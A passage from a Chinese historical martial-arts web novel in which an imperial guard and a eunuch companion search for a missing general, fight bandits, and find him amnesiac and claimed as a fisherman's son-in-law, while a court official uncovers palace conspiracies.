晴雷没让他把话说完。他收紧缰绳，目光如刀：“无论如何，我们都得查个清楚。”
二人下马，沿着陡峭的小径往下游探查。晴雷走在前面，不时回头望向文竹，生怕他跟不上。
文竹素来不愿成为他的累赘，见他频频回头，安慰道：“大人莫要担心，我从小跑腿儿惯了，脚程也比别人快些。一点点坎坷，不算什么。”
晴雷笑了笑，不以为意。
突然，鬼门滩风云变幻，一声闷雷滚过，狂风卷起黄沙，天地骤然变色。
“暴雨来了。”晴雷脸色微变，握住文竹的手腕，将他往自己身边带了一步，“跟紧我。”
雨点如豆，顷刻砸落，脚下岌岌山路迅速变得湿滑。山体轰然松动，巨石自上而下滚落，砸向二人。
“快躲开！”文竹低呼，谁知自己脚下一滑，竟直直朝悬崖边跌落下去。
刹那间，文竹腰间兀自缠上精铁般的手臂，皂角香混着血腥气扑面而来，雁翎刀深深劈入岩缝，铮鸣作响，震得耳膜生疼。
“抱紧我！”晴雷的低喝声混在风雨里。
文竹被迫将脸埋进少年胸口，隔着曳撒服心跳如擂鼓，震得他浑身发颤。
乱石裹着断木，纷纷从身侧滚落，少年竟单手将他锢在崖壁间，臂膀绷出凌厉线条。
待山崩声渐歇，晴雷搂着文竹，飞身纵跃上山路平坦处。
文竹这才惊觉，暗红在少年肩膀衣襟洇开，他结结巴巴道：“大、大人，你受、受伤了。”
滚石砸中了晴雷的肩膀，锋利的石刃割破了皮肉。
“小伤无妨。”晴雷随手抹去血迹，瞄了一眼文竹，关切道：“你呢？可伤着哪儿了？”
文竹喘着气，手掌擦破了皮，额角染着泥水，脸颊没来由地涨红，“大人又、又救了我一命。”
直到雨势稍歇，他们才找到一处避雨的山洞。晴雷生起篝火，脱下湿透的外袍披风烘烤。
文竹盯着篝火出神，热气升腾，玄色披风拂动，飘着淡淡血腥味。
“吃么？”烤热的炊饼突然递到眼前。
文竹接过炊饼小口咬着，眼角扫过晴雷，见他赤着上身处理伤口，水珠顺着肌理的沟壑滚落，淌过道道狰狞的伤疤。
文竹垂眼不敢再看，忍不住又偷瞄了几眼。
“看够了？”
带笑的嗓音惊得他呛住一口饼渣，急忙四处找水喝。咕噜咕噜，水囊瘪了大半，总算缓解了尴尬。
文竹默默放下水壶，“大人，你经受过不少苦痛吧？”
晴雷随意披上中衣，白色衣襟随着动作晃过锁骨，“这是锦衣卫的职责，也是我生来的宿命。”
“大人也信命吗？”文竹攥紧粗布衣摆。
晴雷系上衣襟，漫不经心地扣着盘扣，“怎么突然问起这个？”
文竹捏紧掌心，半晌才低声道：“只是觉得，大人身处这等险境，却从不畏惧，也不曾犹疑。”
晴雷顿了顿，“人活于世，命数既定，但我从不信天定的命。我信刀，也信人心。人若弱，命便是枷锁；人若强，命便是利刃。”
他侧身看向文竹，眸色沉静：“你信命么？”
文竹怔住，指尖下意识蜷紧。自幼被迫阉割，失去凡人该有的所有可能性，自卑、隐忍，连活着都像是一种偷来的恩赐。
命运，从来都是高悬在他头顶的铡刀，不知什么时候就会落下。
“文竹。”晴雷遽然打断他的沉默。
“你既能随我走到这一步，便该明白，人不该被命运禁锢。你是你自己，不是某个人的影子，不是身份的束缚，更不是命运的弃子。”
文竹瞳孔微缩，猛地抬头。
篝火映着少年的眉目，坦荡而锋锐。他像是横亘天地的一把刀，斩强敌，逆风雪，从不被命运束缚。
“活着，不是苟且，也不是认命。”晴雷凝视着他，语气笃定，“你不欠谁的，也不该被过去困住。”
文竹怔怔地看着他，离开京城的马车上，小姐也说过同样的话语。
在那以前，从未有人告诉他，他可以不活成某种模样，也可以不将自己困在既定的阴影里。他以为自己的一生不过如此，无论走到哪，都是寄人篱下。
可此刻，小姐与晴雷的话，如刀般化解了他心底的樊笼，让他看见外面广阔的天地。
篝火轻燃，夜风吹起少年未系紧的衣襟，银链在光下晃动，冷冽而凌然。
“大人……”他嗓音微哑，半晌才低低道，“为什么对我说这些？”
晴雷嘴角扬起：“因为你值得。”
文竹的心倏然揪紧，像是被风吹动的湖面。他垂下眼，手指紧紧拽住衣角，久久无法言语。
雨过天晴，二人重新整顿行装，再次踏上寻人的征途。可几个月下来，只几名老渔夫提及，偶尔确曾有尸体顺流而下，至于是谁、流向何方，无从得知。
盘缠渐渐见底，他们不得不在沿途打零工换取路费。晴雷力气大，码头扛了几日麻袋，衣衫被汗水浸透，肩上磨出道道红痕；文竹手巧，替人跑腿、缝补，偶尔帮店铺抄录账簿，勉强赚些银两。
这一路，风餐露宿，疲惫不堪，但二人皆默契地未曾提及放弃。
黄昏时分，霞光漫天，文竹坐在河岸，望着滚滚黄河，神色恍惚。
“我们还要找多久？”他低声问，声音被河风吹散了些许。
晴雷目光落在远方的江天交界处，“再往东走一程，若还无消息，再作打算。”
文竹侧头看他，见少年面容疲惫，仍咬牙坚持，心底一阵酸涩，轻声道：“若找不到，你打算怎么办？”
晴雷看着那染上暮色的黄河，手指不自觉收紧了刀柄，嗓音坚定：“找不到，就继续找。将军待我如手足，我绝不放弃。”
文竹静静看着他，眼底微微发涩。他忽然伸手拍了拍晴雷的肩膀，“那我陪你一起找，直到找到为止。”
晴雷微微一怔，回了一个字，“好。”
风过水面，泛起一层微波，远方的天色渐渐暗下，将他们的身影拉得悠长。
两人一路东行，终于来到黄河入海口。
海风裹挟着咸腥水汽掠过黑松林，惊起寒鸦阵阵。林间幽深寂静，弥漫着若有若无的血腥气。
晴雷勒住踏月，雁翎刀倾斜，刀锋映着晨光，“出来。”
林间传来窸窣声，十余名响马自树后鱼贯闪出。
为首的独眼汉子叼着草梗，独眼在晴雷身上逡巡，“好俊俏的小郎君，你□□这匹宝马，够爷爷喝三年花酒！”
又目光一转落在文竹身上，咧嘴笑道：“还有个小白脸，娘里娘气的，爷倒是头回见，不如一并卖了，定能卖个好价钱。”
文竹脸色微变，他最恨别人这么说他。
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“嘴真脏。”晴雷淡淡开口。
下一瞬，刀光一闪。
雁翎刀寒芒疾掠，刀锋瞬间挑断独眼汉子口中的草梗。然刀势未止，顺势横扫，一名冲上来的响马喉间喷血，倏然倒地。
独眼汉子脸色一变，“给老子弄死他！”
响马们蜂拥而上，刀光错乱，腥风扑面。
晴雷纹丝不动，雁翎刀翻飞如银龙，带起血色弧光。
文竹站在一旁，攥紧拳头。他不会武功，但他不能光傻傻站着。转头瞥见地上木棍，就在响马偷袭晴雷时，他果断冲上前去，抡起木棍朝那人后背狠狠砸去。
“砰！”响马惨叫一声，踉跄向前，恰好撞进晴雷刀锋，鲜血迸溅而亡。
“不错。”晴雷嘴角微扬。
文竹喘着气，手心湿冷。
“快放开我的阿喜！”忽然一声暴喝自林间炸开。
紧接着，老渔夫李老爹扛着鱼叉冲了出来，身后阿喜被响马扣住肩头，正破口大骂。
李老爹气得脸色发青，手里鱼叉直指响马：“一群王八羔子，连个小姑娘都不放过，还有天理王法吗？”
独眼汉子冷哼一声，“这丫头鬼鬼祟祟在林子里转悠，八成是个通风报信的。既然被老子撞上了，就别想全须全尾地离开。”
“呸！”阿喜朝他脸上啐了一口，“姑奶奶晨起小解，怎么，碍着你事了？”
独眼汉子冷脸抹去额间口水，扬手就要给她一巴掌。
“你敢动她！”李老爹怒吼，拎着鱼叉冲了上去。
“老头找死。”响马们立刻迎上。
尚在打斗之中的晴雷，闻听这番争斗，刀锋逼退身边敌人，脚步一踏，直掠而出。
目标直取独眼汉子咽喉。
独眼汉子惊骇后退，随手一捞，竟将阿喜抓过来做挡箭牌。
晴雷眼神一沉，刀势猛然一收，侧身掠过阿喜的肩膀，手臂一带，将她从独眼汉子手中顺势夺下。
阿喜跌进他怀里，喘着粗气，“差点就栽了。”
“站后面去。”晴雷随手一推，把她推向文竹。
独眼汉子厉吼：“杀光他们！”
双方再次厮杀。
李老爹以一敌二，鱼叉横扫，勉强支撑，但毕竟年纪大了，几招下来露出破绽，被一刀砍翻在地。
“老人家小心！”文竹惊呼。
阿喜目眦欲裂，咬牙飞扑过去，伸手挡在李老爹身前。
“阿喜，快走！”李老爹瞪大眼。
然而响马的刀已经举起。
文竹抡起手中木棍，可他根本来不及阻拦。
千钧一发之际。
一声呼唤自潮水深处传来。
“老爹，阿喜，你们在哪里？”
下一瞬，一道残影掠过林间，速度快得让人看不清。
“噗——”
鲜血飙溅。
那个举刀的响马，甚至都没看清发生了什么，被一刀贯喉，直直倒地。
紧接着，修长身影落在沙地，单手执一把生锈渔刀，粗布衣角翻飞。
所有人都愣住了。
那人抬眸，目光淡漠，如潮起潮落间的冷光。
是阿舟。
又不是阿舟。
文竹瞪大双眼，指着那人结巴道：“时、时将军？”
晴雷死死盯着那张脸，心脏仿佛被人攥住。他熟悉这双眼睛，熟悉握刀的姿势，甚至熟悉那股与生俱来的冷淡傲气。
可时间紧迫，不容他再细想。
李老爹手腕一抖，鱼叉如蛟龙出海，一下子捅进响马小腹，猛地一挑，将其甩飞数步。
阿舟快速扫了一眼局势，疾掠至晴雷身侧，刀锋贴着他手臂一刀封喉，替他解决了侧方袭来的敌人。
晴雷刀锋一转，正好替阿舟挡下另一人劈来的大刀。
两人默契无间，杀意交错。
“撤！”独眼汉子见势不妙，转身狂奔，其余响马也跟着四散逃窜。
晴雷欲追上去，阿舟却已收刀，淡淡道：“不必。”
晴雷转过身去，陡然屈膝跪下，喉咙哽咽道：“爷，属下终于找到您了。”
阿舟挠了挠头，茫然道：“你们……在说啥？”
海潮翻涌，朝阳渐起。
107. 婚契
浊浪拍打沙洲，卷起千堆细雪。海风裹着冰沫，专往骨缝里钻。
晴雷打了个寒颤，第一反应是时枫捉弄他。少年煞有介事地跪伏地面，把头磕得咚咚响。
“爷。”他低声地唤着这个曾经喊过千遍万遍的字眼。
“属下给您拜个早年，祝您大吉大利，早生贵子～”
他努力装出嬉皮笑脸的样子，其实心里坠着千斤巨石。
阿舟将他扶起，替他拍了拍膝盖尘土，一脸正经道：“小兄弟，你认错人了。”
巨石轰然坠落，晴雷先是心内一凉，紧接着眼神一凛，他怀疑时枫陷入某种莫名危机，不便暴露身份。
少年握住阿舟粗壮的手臂，讲起了军营中的暗语：“天凉（爷在执行任务）被狗追（被敌方拿住要害）？”
对方显然被他这一举动吓到，身子向后退缩，抬手一拂，打掉了少年的手。
“我不晓得你说什么，什么天凉被狗追，怪吓人哩。”阿舟显得有些急躁，他认为自己遇到怪胎。
那一拂的手劲颇为有力，令少年十分笃定，眼前的年轻人确是时枫无疑。但他猜不透将军的心思，怎么就不肯承认自己是谁呢？
晴雷思了几个来回，忽然嘴角一扯，“爷是不是怪属下来迟了？”
眼瞳涌动着暗潮，“为了找您，属下和文竹差点把命搭进去。可我们哪有您的脚程快？山高水长路迢迢，总要给人宽泛点时间不是？”
阿舟十分确定少年得了痴症，“我根本不认识你。”说着，脚跟悄悄用力，准备随时跑路。
阿喜看了半天，实在看不下去，掐着小腰插嘴道：“你这人有病吧。他都说不认识你，你还硬要纠缠。莫非，你想拐了傻大个给你做奴隶？”
晴雷的笑意慢慢凝固。
“不认识……”他低声呢喃。
阿喜正要说什么，却被晴雷一把推开，差点跌个趔趄，嘴里骂个不停。
下一刻，晴雷旋即风一般扣住阿舟的双肩。
“这话说的，也忒无情。”他咬紧牙关，字字艰涩，“属下自九岁起，随侍爷身侧，两千日夜相伴，爷不认识我？”
阿舟被他逼得连连后退，背脊抵上皲裂的老松，黑松针漱漱下落。他下意识偏过头，闪躲对方探究的目光，“这位小兄弟，你是不是有什么心事未了？我真的不是你要找的人。”
晴雷猛然扯开曳撒服前襟，一道狰狞的箭疤在朔风中浮动。
“两年前，属下被匈奴狼牙箭直插肋骨，是爷亲手替我剜出的箭尖。”
他攥住阿舟的手，按住肋间伤痕，声音嘶哑道：“爷骂我蠢，说再深半寸，就能给这疤凑个对穿。”
“爷，你认出来属下没有？！”晴雷的声音充满了绝望。
凹凸不平的伤疤带着火气，烫得阿舟一颤，本能地想抽回手，却被晴雷攥得更紧。
“你放开我。”阿舟忍不住开始挣扎，腕骨在桎梏中发出轻响，眼底泛起生理性的水雾。
他最不擅长处理这些复杂的人际关系了，咄咄逼人，有理说不清。
这人太可怕了。
阿舟抬眼向李老爹求救。
晴雷冷冷睇着眼前的男人，他的眼里没有熟悉的阴鸷，只剩茫然的怯意。
根本不是那位令人闻风丧胆的“冷面阎罗”。
少年坚定不移的信念根基，出现了一丝松动。
阿喜见他二人剑拔弩张，冲上前抓住晴雷的手腕，嗔道：“喂，你弄疼他了，小心我咬你哦。”说完，“吭哧”一口，咬上手腕。
晴雷再次厌恶地甩掉阿喜的手，目光紧紧盯着阿舟，眸子里燃着火焰，“少跟我装相，我才不信邪。”
少年后退一步，马步扎稳，抽出雁翎刀，眼神凛厉，“出刀。”
咸涩的海风骤起，白练般掠过二人之间的空隙。
阿舟本能地往后退了一步，手肘撞上木头桩子挂着的破烂渔网，勾起几片破碎的贝壳。他下意识地去摸腰间，指尖刚触及刀柄，立刻被晴雷捕捉到了动作。
晴雷眯起眼，“看来，你挺会用刀的。”
话音未落，他身形暴掠而出，雁翎刀直取阿舟左肩。
阿舟来不及思索，腰身一拧，避开攻击，顺势抽出腰间的渔刀，刀光闪过，带起一缕破风。
金铁相交，震得虎口发麻。
阿舟的渔刀比不得军中制式的钢刃，刀身稍短，重心更偏，可他握刀的姿势极其稳当，刃锋侧偏两分，精准卸去晴雷的力道——绝非寻常渔夫能够掌握的技巧。
晴雷眸光一沉：“果然是爷的手法。”
少年刀势一翻，反手横斩。阿舟避无可避，咬牙横刀格挡，脚下踩出片片沙痕。
阿舟吃劲，用力挥臂，破开刀锋，顺势扫向晴雷的腰侧，动作干脆利落。
晴雷险险避开这一击，冷笑道：“这身手，怕是连匈奴骑兵都不及你。”
阿舟不知道自己为何会这样回击，他甚至没想过该如何迎战，可身体却像是拥有某种刻入骨血的战斗本能，让他在最合适的时机做出最正确的应对。
这份本能，让他害怕。
晴雷不给他喘息的机会，脚下一踏，刀锋自下而上挑起，逼得阿舟不得不再次格挡。刀刃撞击的火星在风雪中炸开，震得阿舟手腕发软。他呼吸微乱，脚下一错，险些跌倒。
晴雷步步紧逼，每一刀都精准无比，不给他丝毫喘息的余地。
阿舟狼狈地后退，脑中一片混乱。似乎身体比思维更快了一步，像是经历过无数次厮杀，在生死战斗中练就了直觉。
“不要逼我。”阿舟咬牙低喝，侧身避开晴雷的攻势，旋即下意识反手一挑，刀刃直指晴雷的咽喉。
晴雷停住了。时枫绝不会对他刀剑相逼。
阿舟也停住了。身体的反应仿佛不属于他。
海风怒号，吹起的沙砾打得两人脸颊生疼。
阿舟的慌乱，与晴雷的震撼，相得益彰。
“我说，你们是不是搞错了。”低沉的声音突然打破死寂。
李老爹抡起鱼叉，左右挥舞支开两人，戳得泥雪四溅。
“阿舟是我家上门女婿，不是你们要找的官老爷。”老人喘着粗气道。
众人脸色皆变，阿喜甚至险些惊呼出声。
李老爹从怀中摸出一张皱巴巴的婚契，朱砂指印旁，歪歪斜斜画着两只交颈鸳鸯。
“半年前，鬼门滩山洪冲下个瓜娃子，脑袋让礁石撞坏了，什么都不记得，是我家阿喜救的他。我见他无依无靠，便做主把他留下，定了这门亲事。”
晴雷死死盯着那张婚书，落款处赫然写着：李舟。
他抬头望向阿舟，“你姓李？”
阿舟被他问得发怵，搓了搓手，迟疑道：“我、我姓……”他也不知道自己姓甚名谁。
“他当然姓李。”李老爹插嘴道，语气不容置疑，“他现在是我李家的人，你们认错人了，就请回吧。”
阿舟张嘴想说什么，却被李老爹遽然拽了把衣袖，迷迷糊糊地“哦”了一声，又傻乎乎地闭嘴。
晴雷看着他。
他清晰地记得，半年前黄河泺口渡，风啸浪急，夜色沉沉。
时枫郑重地将踏月缰绳递到晴雷手中，并托付他照看苏绾的随从们。
晴雷眼眶微红，攥紧缰绳，“爷，此行千万小心些。”
时枫微微一笑，月光映得他眉眼淡然如雪，“若我回不来，记得替我养着踏月，顺便给我爹寄两坛上等女儿红。”
他明明说好了会回来。
可只回来了一副躯壳。
晴雷感到胸口被人狠锤了一拳，他不信邪，反复质问：“你真是李家女婿？”
阿舟愈发慌乱，搓着手，局促道：“我、我也不记得自己成亲了。”
李老爹踩了他一脚，低声斥道：“你就记得吃了睡，睡了吃，还能记得啥。”
阿舟疼得龇牙咧嘴，委屈地刚想反驳，阿喜突然扑过来，笑盈盈地搂住他的胳膊，“哎呀，阿舟，你忘了？咱们早已拜堂成亲了，是阿爹给你定的亲。”
阿舟没料到阿喜也跟着发疯，怔愣道：“阿喜……”
阿喜笑得甜腻，指尖用力拧他的脸颊，拧得那块血肉泛白，“你个榆木脑袋，连自己娶了媳妇都不记得了，真是个傻瓜。”
阿舟吃痛地缩了缩脖子，再也不敢回嘴——阿喜若不依不饶起来，他决然斗不过她。
“这位军爷。”
李老爹粗糙的指腹抹过婚书朱砂印，“你看看，这上面有记录，经过官家认证，天王老子来了，他也是我李家人。”
老人浑浊的眼珠映着雪光，“就算他真是你要找的人，现在也只是个给媳妇暖被窝的傻姑爷，他脑子摔坏了，不中用了。”
“你们不妨就顺着他的心意，何苦为难他，也为难自己呢？”李老爹晦涩的嗓音，仿若钝刀子刮雪。
风雪萧瑟，落在晴雷的肩头，冰冷刺骨。
文竹拉了拉晴雷的衣襟，低声道：“大人，我们要不先回去？”
僵持下去，毫无意义。
晴雷目光依旧紧锁在阿舟身上，看着他笨拙地将阿喜的碎发别到耳后，那一刻，印象里时枫为苏绾簪花的场景清晰如昨。
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少年低下头，声音干涩：“走。”
曳撒服的衣摆一甩，扫落了松枝上的积雪。
不必回头也知道，那傻子正盯着他腰间的雁翎刀。
走了几步，文竹忧心忡忡：“我瞧着，时将军不像是在装，或许他真的失忆了。”
晴雷冷冷一笑：“爷自然不是装的，但那老渔夫鬼话连篇，胡诌乱扯，别有用心。”
他眼神坚定，语气冷冽：“他们根本没成亲。”
阿舟站在原地，愣愣地望着一双背影消失在风雪里，心里堵得慌，说不上是难受还是憋屈。
他皱起眉，咬着牙，努力从脑海深处搜寻那些模糊的片段，可每当他试图回忆过去，脑袋就像被重锤猛砸，疼得厉害。他闷哼一声，抬手狠狠拍自己的头，想要将那些乱七八糟的东西敲出来。
“哎哎哎，你干什么呢？！”
阿喜见状，连忙抓住他的手腕，不让他再折腾自己，“你这傻大个，不会真被那两人忽悠瘸了吧？还真以为自己是什么大将军？”
“哎呦。”她眼珠一转，似发现不得了的大事，喜道：“瞧瞧我这脑子。没准，你真是他们口中的‘爷’，不如赶紧叫他们回来，请你进将军府这辈子吃香喝辣，我也好大赚一笔劳务费。”
将军？
阿舟低头看着自己掌心粗粝的老茧，那股违和感盘踞心头，挥之不去。
阿喜忽然又想到什么，转头看向李老爹，狐疑道：“阿爹，你老实交代，咱家哪来那伪造的婚书？被人告到官府，可是要坐牢吃鞭子的哦。”
李老爹叹了口气，拿出那张红纸。
“婚书是真的。”
阿喜瞪大眼睛，“阿爹，你不会糊涂了吧？怎么就成真的了。”
李老爹：“这门亲事，是我做主定下的。阿舟，这半年你在咱们家也不是白待的，如今你是阿喜的相公了，我把她交给你，以后要好好照顾她。”
李老爹年事已高，这几年尤其感到心有余而力不足。眼前阿舟为人憨厚老实，又是捕鱼的一把好手。将阿喜托付给阿舟，他才放心撒手人寰。
阿舟茫然地看着李老爹，又转头看向阿喜，嘴巴微张，竟说不出一个字。
阿喜更是炸了毛，跺脚道：“阿爹，你讲什么笑话，谁要嫁给傻大个啊。”
可她嘴上嚷得厉害，耳尖却悄悄染上了一抹红意，眼底的神色更是慌乱，宛如被人撞破心思的小鹿。
阿舟睇着她微红的脸颊，心里那点怪异的感觉愈发强烈。
哪里都不对劲。
可他终究没能拒绝。
晴雷彻夜无眠。
他靠坐在客栈窗前，指尖缓缓摩挲刀柄，眉头紧锁，眼底沉着风暴。
他不信。
怎么可能？
他一路查探到府衙，花了银子打点，又翻遍了当地的婚姻档案记录，结果竟发现——婚书真实有效。
阿舟，或者说李舟，确实在两个月前，与渔家女李阿喜成亲，盖了手印，存了档，白纸黑字，滴水不漏。
晴雷盯着婚书存根，指尖几乎要将纸张捏碎。
不可能。
他隐忍着怒意，又细细查了李老爹、阿喜、阿舟的身份背景，府衙给出的记录与李老爹所言均一致。
晴雷咬紧牙关，眼底翻滚着骇人的风暴。
“不可能。”他低声吼道。
文竹试探道：“要不咱们去报官？若李家真有问题，官府总该出面调停。”
“没用。”晴雷直接打断，“他们护着渔民，不会理睬我们。”
果然，县衙敷衍了事，甚至言辞犀利地警告晴雷不要再无端纠缠，否则休怪他们治他个‘扰民之罪’。
文竹迟疑道：“现在怎么办？”
晴雷沉默良久，摊开案上信纸，提笔疾书。
第一封信，发往京城，送给邵云礼。
邵云礼素来冷峻持重，精通刑律，擅长探案。若此事有疑点，他定能从蛛丝马迹中找到端倪。
第二封信，发往苏州，送给沈恪。
沈恪正在苏州老家休整，手下握有重兵。假如他老人家派兵相助，县衙绝不敢过问。
文竹见他写完，忍不住道：“不写给秦大夫？”
秦欢出身青州贵族世家，手里控制整个山东省人脉。若他肯出手，兴许比邵云礼和沈恪更有效。
但晴雷顿了一下，眼底闪过一抹异色。
“不写。”
文竹诧异：“为何？”
晴雷缓缓收起信件，“直觉。”
他总觉得哪里不对劲。
哪里都不对劲。
108. 官爷
黄海沙洲距离京郊大营，足足八百里平川。彼时大理寺卿邵云礼正值军中检阅，察看军心。
从晴雷放出信鸽算起，到邵云礼千里走单骑，星夜兼程，风尘仆仆闯入客栈为止。
仅用了两天两夜。
客栈木门险些被掼坏了，狂风裹挟寒意瞬间灌入室内。
一道身影闪现，青衣外氅挂满星霜，大理寺卿的眼眸泛着血丝。不等晴雷作揖行礼，一把揪住他的衣领，杀气凛然。
“人呢？”他声音嘶哑。
少年艰难地吞了口唾沫，“爷不在这里。”
邵云礼目光一沉。
晴雷不敢怠慢，连忙将自己查探所得，一五一十地详尽转述李老爹一家的情况。
听得邵云礼眉头越拧越紧，眼底寒意渐浓，额间青筋暴起。
“哼，上门女婿？”大理寺卿冷声道：“他倒是逍遥自在，全然不顾我们这些人的死活。”
黑松林的照面，令晴雷憋闷得厉害，拳头攥得咯吱作响，恨恨道：“爷就像个陌生人一样，死活不肯认我，更别提跟咱们回家了。”
“他不走，也得走。”邵云礼语气森然，字字带霜，“眼下，容不得他在温柔乡里浮沉。”
自温如初率人开启南下杭州之旅，邵云礼便隐隐察觉不对劲。温如初亲自上奏，点名要皇帝指派时枫做随军护卫，这一举动着实耐人寻味。
果然，一行人在黄河之上折戟沉沙，温如初毫发未损，而时枫却落水溺亡。
谁会相信？
可皇帝却信了，自此再不提南巡之事，反而急忙追封时枫为一品威武将军，并风光大葬衣冠冢。
邵云礼无暇哀悼，他比所有人都更清楚，时枫绝不会死得这般窝囊。早在意外发生之前，时枫便已寄信交代后续，邵云礼当机立断，全力接手其未竟之事。
第一件事，接手京郊大营兵权。
过程中阻力重重，尤以兵部尚书陆能为首。陆能借时枫阵亡之名，教唆皇帝收回京营兵权。邵云礼不得不请太后出面斡旋，并亮出三十年前的丹书铁券，方才稳住局势，总算将京营控制权握于手中。
第二件事，查探秦欢的底细。
这一查，竟让邵云礼大为震惊。名不见经传的郎中秦欢，竟掌控着北直隶沿海的实际控制权，手下豢养十万精兵，势力范围横跨山东、渤海、黄海，甚至波及东海部分海域，堪称割据一方。
第三件事，联络绥靖王时谦，并调查朝廷谋害时樾的真正缘由。
此事本毫无头绪，直到邵云礼在太后寝宫前偶遇温如初，听其话中有话，遂改道追查寿宁长公主与武安侯私通旧案。谁知竟牵扯出惊人秘辛——当年的殉情事件，并非一场风流孽债，而是人为设局。
是皇帝瞒着太后，亲手鸩杀武安侯，又溺毙长公主，秘而不宣。直至多年后，二人唯一子嗣萧染，在贵妃保荐下得以入宫觐见。
太后欲昭告天下，令萧染承袭武安侯爵位，留在宫中伴己终老。皇帝断然拒绝，以二人私通殉情为由，不许萧染认亲袭爵，而是让他当了暗卫，要他为朝廷“建功立业”，待“功成名就”之日，再认祖归宗不迟。
至此，萧染追杀时枫之事已有了答案。他并非因个人私怨行刺，纯粹奉命行事，以积功累勋。
那么问题来了，朝廷为何要时枫的命？此事与时樾之死又有何关系？
这就牵扯到另一条线索了。
时枫一直追查花娘九香的来历，尚未有半点眉目，却命断黄河。邵云礼悲痛之余，借出差为由亲赴扬州堕花院。他乔装成恩客，与老鸨一番周旋，又以重金贿赂掮客，拿到了旧年九香的卖身契。
据契约记载，她是行院从战乱贩子手中买下的遗孤。结合女书绣帕的证据，不难推断出其真正身份，乃西南九溪十八洞都蛮族部落公主。
大约三十年前，当今皇帝还只是不受宠的九皇子。得伴读兼侍卫时谦、沈恪、陈武、章任梁等人辅佐，九皇子得以在储位争夺中脱颖而出，助力“怀远大将军”剿灭都蛮族，赢得先帝青睐，登上东宫之位。
过了十年后，先帝驾崩，太子顺利登基。那些助其夺储的旧臣，皆得封王或封赏文渊阁。唯独时谦，虽挂上异姓王的虚名，实际被发配西北镇守边疆，终身不得回京。
外界谣传，当年九皇子剿灭都蛮族，时谦曾力劝其网开一面，莫要滥杀无辜。然九皇子心系都蛮族皇室的秘藏之宝，执意血洗满门，将全族屠戮干净，也没能如愿拿到宝藏。
那笔宝藏究竟是什么，无人知晓。
邵云礼推测，当年时谦或许设法救下襁褓中的蛮族公主，托付给乳母带走。经过数年颠沛流离，途中横生变故，九香不幸落入战乱贩子之手，并被辗转卖给了堕花院。
后太子微服私访，游历江南烟花之地，不期与九香邂逅相识，私相相授。由于二人身份悬殊，终究法理不容，故而劳燕分飞。
一段过往，情有可原。
新帝即位后，终究还是查清了九香的出身，也由此知晓时谦隐瞒真相，故意放走蛮族遗孤的罪行。或许，正因误以为时谦私吞了宝藏，新帝才将其远贬西北，以彻底削弱藩王势力。
时樾追查这一系列线索，触及了皇帝逆鳞，遂被皇帝与阁老联手灭口。
时枫循着哥哥的遗踪，步步深入调查时樾死因，终究落得同样下场。
萧染奉命行刺，旨在掩盖真相，混淆视听，将时枫之死归于江湖仇杀。
至此，一切脉络渐明。
真相已然浮现，欲盖弥彰，终是枉然。
此则生死存亡之秋，居然收到时枫还活着的消息，邵云礼管不了那么多，今日就是绑，也要将时枫绑走。
可惜，他算错了对象。
邵云礼的锦靴刚踏上沙洲的沙砾，二十余柄泛着寒光的鱼叉直指面门。铜肤结实的渔家汉子们气势汹汹，将他们团团围住，活像要把人撵下海喂鱼鳖。
人群前头，站着个十五岁的少女，生得娇小玲珑，一双杏眼圆睁，腰间别着杀鱼刀，气势比市井泼妇还强几分。
“乡亲们评评理！”阿喜一脚踩上渔筐，嗓门尖利蛮横：“这些穿绸缎的老爷们，仗着认得几个字，硬说我家阿舟不是阿舟，非要把人抢走充军。”
“咱们沙洲讲理的地方是海，不是衙门。敢动我们，就让他们也尝尝海水的滋味。”她特意扯松发辫，碎发沾着片鱼鳞贴在额角，活脱脱一副受尽欺凌的渔家女模样。
渔民们一听，顿时炸开了锅。
“什么？还有这等事？”
“欺人太甚！”
“光天化日之下，竟敢随便抢人！”
船老大老赵将鱼叉往沙滩一杵，震得木柄嗡嗡作响：“阿舟兄弟人极好，上月还帮俺补过网。”他指着为首的邵云礼，唾沫横飞，“要抓壮丁就冲俺们来，别可着老实人欺负。”
邵云礼冷冷扫向阿喜，这丫头年纪不大，一口一个“抢人”、“欺负”，煽风点火的本事炉火纯青，几句话将他们说成了欺行霸市的恶徒。
晴雷被唾沫星子逼退半步，小声嘀咕：“咱们什么时候欺负他们了？”
阿喜嗓门尖得能刺破耳膜：“怎么没有？我爹打了一辈子鱼，连只虾米都没偷过。你们倒好，一来就说阿舟是什么大人物，还说我家婚书是假的。”
她从怀里掏出一封红绸包裹的婚书，朱砂官印在日光下晃得人眼花。“瞧瞧，这可是我爹典当祖传银镯，花了十两银子办的，里正大人亲手盖的印，真得不能再真。”
说着，她故意把婚书往邵云礼面前一递：“这位官老爷要是不信，大可以拿去验验。不过嘛，”她收回手，狡黠一笑，“验一次收二两银子，这可是俺
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李家的命根子，万一被你们弄坏了，我找谁说理去？”
邵云礼眸色微动，注意到她指腹刻意遮住婚书日期，墨迹未透纸背，分明是月内新写。
他正欲开口，阿喜抢先道：“想带走阿舟？行啊！”她将杀鱼刀往木桩上一钉，“先赔俺爹十两银子，再赔我的青春损失费。”
渔民中响起窃笑，几个后生起哄：“阿喜这是要掏空官老爷的钱袋啊。”
邵云礼微微一笑：“姑娘要多少？”
阿喜眨了眨眼，飞快算账：“纹银五百两，少一个铜板都不行……”
话音未落，邵云礼解下腰间玉佩抛给晴雷，“拿这个去钱庄取银子。”
渔民的哄笑戛然而止，老赵的鱼叉“当啷”落地——他们打十年鱼也攒不下五百两银子。
未料到对方竟出手如此大方，阿喜一时语塞，不知如何是好，低眉瞥见一旁李老爹微微摇头。
阿喜会意，抓起渔篓砸向邵云礼：“谁稀罕你的臭钱。”篓中章鱼黏糊糊扒在青色官袍外氅，“带着你的银子滚出沙洲。”
阿喜像只炸毛的猫，蹭地跳起来，指着邵云礼鼻子就骂，“你们这些外乡人，仗着有几个臭钱就想欺负人？阿舟是我爹辛苦娶回来的女婿，是我们李家的顶梁柱。你们想带走他？先问问沙洲的鱼叉答不答应。”
人群炸开，鱼叉纷纷举起。
“阿喜说得对！”
“老李家好不容易有个能干的女婿，凭什么让外人抢走？”
“赶他们走，让他们尝尝咱们的厉害！”
渔民们步步逼近，阿喜站在最前，嘴角挂着一丝得意的笑——这场戏，她演得正起劲呢。
邵云礼脸色彻底沉了。他贵为大理寺卿，向来只凭律法行事，从未想过有朝一日，会被一群无知渔民堵在码头，有理说不清。
“大人，从长计议。”晴雷低声道。
他说得对，这群人果然极难对付。可恨自己此行，竟连时枫的影子都没摸到。一世英名，差点毁在一个小姑娘手里。
邵云礼拂去衣摆上的章鱼，恨道：“我们走。”
